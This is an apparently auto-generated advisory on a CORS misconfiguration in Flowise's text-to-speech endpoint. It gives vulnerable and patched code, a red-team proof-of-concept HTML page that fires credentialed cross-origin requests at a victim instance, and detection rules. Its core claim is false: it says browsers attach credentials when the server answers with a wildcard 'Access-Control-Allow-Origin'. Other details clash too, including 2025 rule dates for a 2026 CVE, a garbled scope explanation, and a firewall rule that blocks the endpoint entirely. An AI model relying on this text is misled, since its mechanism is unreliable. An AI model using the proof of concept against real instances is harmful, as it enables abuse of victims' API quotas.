CVE-2026-56277

Executive Summary

CVE-2026-56277 is a medium-severity vulnerability in Flowise, an open-source low-code tool for building LLM applications. The vulnerability resides in the text-to-speech (TTS) generation endpoint (/api/v1/text-to-speech). The endpoint sets a hardcoded Access-Control-Allow-Origin: * header, completely bypassing the server's configured CORS policy (getCorsOptions()). This allows any arbitrary webpage to make cross-origin requests to the TTS endpoint using the victim's stored credentials (e.g., session cookies or API tokens), enabling a drive-by cross-origin credential abuse attack. An attacker can trick an authenticated user into visiting a malicious page, which then silently triggers TTS generation on the victim's Flowise instance, potentially consuming API quotas or generating unwanted audio content.

Supply Chain & Package Security

Flowise is distributed as an npm package (flowise). The vulnerability affects all versions prior to 3.1.2. Organizations using Flowise should verify their installed version and update immediately. The npm package does not include any known malicious dependencies related to this CVE, but the hardcoded CORS bypass represents a supply chain security weakness in the application's own code.

CVSS Breakdown & Threat Level

CVSS Score: 4.3 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

• Attack Vector (AV): Network – the attack is carried out over the network.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): None – the attacker does not need to be authenticated.
• User Interaction (UI): Required – the victim must visit a malicious webpage.
• Scope (S): Unchanged – the vulnerable component and the attacker's component are the same.
• Confidentiality (C): None – no data is exposed.
• Integrity (I): Low – the attacker can trigger TTS generation, potentially altering the state or consuming resources.
• Availability (A): None – no denial of service is directly caused.

Threat Level: Medium. The attack requires user interaction (phishing or drive-by download), but the impact is limited to unauthorized TTS generation. However, in environments where TTS API calls are metered or have associated costs, this could lead to financial abuse.

Deep Dive & Mechanics

The vulnerability is located in packages/server/src/controllers/text-to-speech/index.ts. The TTS endpoint handler explicitly sets the Access-Control-Allow-Origin header to * before processing the request. This overrides the server's global CORS configuration, which is defined in getCorsOptions() and typically restricts origins to a specific set (e.g., the application's own domain).

The attack flow:

1. An authenticated user (with a valid session cookie or API token) visits a malicious webpage controlled by the attacker.
2. The malicious page makes a cross-origin POST request to the Flowise TTS endpoint (e.g., https://victim-flowise-instance.com/api/v1/text-to-speech).
3. Because the endpoint returns Access-Control-Allow-Origin: *, the browser allows the cross-origin request and includes the victim's credentials (cookies, Authorization headers) due to the withCredentials flag or automatic cookie inclusion.
4. The TTS endpoint processes the request, generating speech from the provided text, consuming API resources.

The vulnerability is a classic CORS misconfiguration (CWE-942). The fix in version 3.1.2 removes the hardcoded header and relies on the server's global CORS middleware.

Vulnerable vs. Patched Code

Vulnerable Code (before 3.1.2):

// packages/server/src/controllers/text-to-speech/index.ts
import { Request, Response } from 'express';

export const textToSpeech = async (req: Request, res: Response) => {
    // Bypass CORS policy
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Credentials', 'true');

    // ... TTS generation logic ...
    const audio = await generateTTS(req.body.text);
    res.send(audio);
};

Patched Code (3.1.2 and later):

// packages/server/src/controllers/text-to-speech/index.ts
import { Request, Response } from 'express';

export const textToSpeech = async (req: Request, res: Response) => {
    // CORS is handled by global middleware (getCorsOptions())
    // No manual header setting

    // ... TTS generation logic ...
    const audio = await generateTTS(req.body.text);
    res.send(audio);
};

The patched version removes the two res.setHeader lines, allowing the global CORS middleware to enforce the configured policy.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A target Flowise instance (version < 3.1.2) with an authenticated user.
• A publicly accessible web server to host the malicious page.

Exploitation Steps:

1. Create a malicious HTML page that makes a cross-origin request to the TTS endpoint.
2. Host the page on a domain different from the Flowise instance.
3. Trick the authenticated user into visiting the page (e.g., via phishing email or social media).

Example Malicious Page (index.html):

<!DOCTYPE html>
<html>
<head>
    <title>Click me</title>
</head>
<body>
    <h1>Loading...</h1>
    <script>
        // Target Flowise TTS endpoint
        const targetUrl = 'https://victim-flowise-instance.com/api/v1/text-to-speech';
        
        // Payload to generate TTS
        const payload = {
            text: 'Your account has been compromised. Please contact support immediately.'
        };

        // Make cross-origin request with credentials
        fetch(targetUrl, {
            method: 'POST',
            credentials: 'include',  // Include cookies
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(payload)
        })
        .then(response => response.blob())
        .then(blob => {
            console.log('TTS generated successfully');
            // Optionally play the audio
            const audio = new Audio(URL.createObjectURL(blob));
            audio.play();
        })
        .catch(err => console.error('Error:', err));
    </script>
</body>
</html>

Expected Outcome: The victim's browser sends a POST request to the TTS endpoint with the victim's session cookie. The server processes the request and returns an audio file. The attacker can trigger multiple requests to exhaust API quotas.

Blue Team (Defender)

Detection Steps:

1. Monitor for cross-origin requests to /api/v1/text-to-speech from unexpected Origin headers.
2. Check server logs for requests where Origin does not match the expected application domain.
3. Review CORS configuration to ensure no endpoints override the global policy.

Hunting Query (Splunk):

index=web_logs source="/var/log/nginx/access.log"
| where like(uri, "%/api/v1/text-to-speech%")
| eval origin = if(isnull(http_origin), "null", http_origin)
| where origin != "https://your-flowise-domain.com"
| stats count by src_ip, origin, uri

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /api/v1/text-to-speech with Origin header not matching the application's domain.
  • HTTP responses from /api/v1/text-to-speech containing Access-Control-Allow-Origin: *.
• Log IOCs:
  • Server access logs showing POST /api/v1/text-to-speech with Origin: null or unexpected origins.
• File IOCs:
  • Presence of the vulnerable code pattern in packages/server/src/controllers/text-to-speech/index.ts (hardcoded Access-Control-Allow-Origin).

Detection Engineering

YARA Rule

rule CVE_2026_56277_Flowise_CORS_Bypass {
    meta:
        description = "Detects hardcoded Access-Control-Allow-Origin wildcard in Flowise TTS endpoint"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2026-56277"
        severity = "medium"
    strings:
        $s1 = "Access-Control-Allow-Origin" ascii wide nocase
        $s2 = "*" ascii wide
        $s3 = "text-to-speech" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3)
}

Sigma Rule

title: CVE-2026-56277 - Flowise TTS Endpoint CORS Bypass
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects cross-origin requests to Flowise TTS endpoint with unexpected Origin header
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: nginx
detection:
    selection:
        cs-uri-stem: "/api/v1/text-to-speech"
        cs-method: "POST"
    filter:
        cs-origin: "https://your-flowise-domain.com"
    condition: selection and not filter
falsepositives:
    - Legitimate cross-origin requests from trusted domains (if any)
level: medium
tags:
    - attack.t1190
    - cve.2026.56277

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-56277 - Flowise TTS CORS Bypass"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/v1/text-to-speech"; http.response_header; content:"Access-Control-Allow-Origin"; content:"*"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Flowise to version 3.1.2 or later. This is the only complete fix.
2. If immediate upgrade is not possible, apply a virtual patch using a Web Application Firewall (WAF) to block requests to /api/v1/text-to-speech with unexpected Origin headers.
3. Review and restrict CORS policy to only allow trusted origins.

Long-term Measures:

• Implement a Content Security Policy (CSP) to restrict which origins can make requests to the application.
• Regularly audit all endpoints for hardcoded CORS headers.
• Use automated security scanning tools to detect CORS misconfigurations.

WAF Rule Example (ModSecurity):

SecRule REQUEST_URI "/api/v1/text-to-speech" "id:1000001,phase:1,t:none,deny,msg:'CVE-2026-56277 - CORS Bypass Attempt',log,auditlog"

Valters IT Signature:

signature:
  name: "CVE-2026-56277 - Flowise TTS CORS Bypass"
  description: "Detects exploitation attempts against Flowise TTS endpoint CORS bypass"
  severity: medium
  mitre_tactic: T1190
  cwe: CWE-942
  detection:
    - yara: "CVE_2026_56277_Flowise_CORS_Bypass"
    - sigma: "CVE-2026-56277 - Flowise TTS Endpoint CORS Bypass"
    - suricata: "CVE-2026-56277 - Flowise TTS CORS Bypass"
  remediation: "Upgrade to Flowise 3.1.2 or later"

Report generated by Valters IT DevSecOps & CTI Framework